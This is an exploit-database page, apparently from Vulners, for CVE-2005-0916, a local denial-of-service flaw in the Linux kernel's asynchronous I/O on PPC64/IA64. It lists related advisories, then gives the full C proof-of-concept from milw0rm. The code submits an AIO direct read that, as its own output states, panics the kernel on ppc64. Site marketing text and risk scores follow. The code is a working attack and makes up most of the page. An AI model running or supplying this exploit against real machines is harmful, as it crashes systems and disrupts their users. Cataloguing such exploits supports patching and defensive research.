Linux Kernel PPC64/IA64 (AIO) - Local Denial of Service
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2005-0916 | 29 Mar 200505:00 | – | cve | |
| CVE-2005-0916 | 29 Mar 200505:00 | – | cvelist | |
| EUVD-2005-0917 | 7 Oct 202500:30 | – | euvd | |
| CVE-2005-0916 | 2 May 200504:00 | – | nvd | |
| SLES9: Security update for Linux kernel | 10 Oct 200900:00 | – | openvas | |
| SLES9: Security update for Linux kernel | 10 Oct 200900:00 | – | openvas | |
| SUSE Security Announcement: kernel multiple security problems (SUSE-SA:2005:050) | 2 Sep 200500:00 | – | securityvulns | |
| SUSE CVE-2005-0916 | 15 Feb 202306:18 | – | susecve | |
| SUSE-SA:2005:050: kernel | 5 Oct 200500:00 | – | nessus | |
| CVE-2005-0916 | 2 May 200504:00 | – | ubuntucve |
//
// Proof of Concept by Daniel McNeil
// compile using cc -o aiodio_read aiodio_read.c -laio
//
#define _XOPEN_SOURCE 600
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <libaio.h>
int pagesize;
char *iobuf;
io_context_t myctx;
int aio_maxio = 4;
/*
* do a AIO DIO write
*/
int do_aio_direct_read(int fd, char *iobuf, int offset, int size)
{
struct iocb myiocb;
struct iocb *iocbp = &myiocb;
int ret;
struct io_event e;
struct stat s;
io_prep_pread(&myiocb, fd, iobuf, size, offset);
if ((ret = io_submit(myctx, 1, &iocbp)) != 1) {
perror("io_submit");
return ret;
}
ret = io_getevents(myctx, 1, 1, &e, 0);
if (ret) {
struct iocb *iocb = e.obj;
int iosize = iocb->u.c.nbytes;
char *buf = iocb->u.c.buf;
long long loffset = iocb->u.c.offset;
printf("AIO read of %d at offset %lld returned %d\n",
iosize, loffset, e.res);
}
return ret;
}
int main(int argc, char *argv[])
{
char *filename;
int fd;
int err;
filename = "test.aio.file";
fd = open(filename, O_RDWR|O_DIRECT|O_CREAT|O_TRUNC, 0666);
pagesize = getpagesize();
err = posix_memalign((void**) &iobuf, pagesize, pagesize);
if (err) {
fprintf(stderr, "Error allocating %d aligned bytes.\n",
pagesize);
exit(1);
}
err = write(fd, iobuf, pagesize);
if (err != pagesize) {
fprintf(stderr, "Error ret = %d writing %d bytes.\n",
err, pagesize);
perror("");
exit(1);
}
memset(&myctx, 0, sizeof(myctx));
io_queue_init(aio_maxio, &myctx);
err = do_aio_direct_read(fd, iobuf, 0, pagesize);
close(fd);
printf("This will panic on ppc64\n");
return err;
}
// milw0rm.com [2005-04-04]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 May 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00724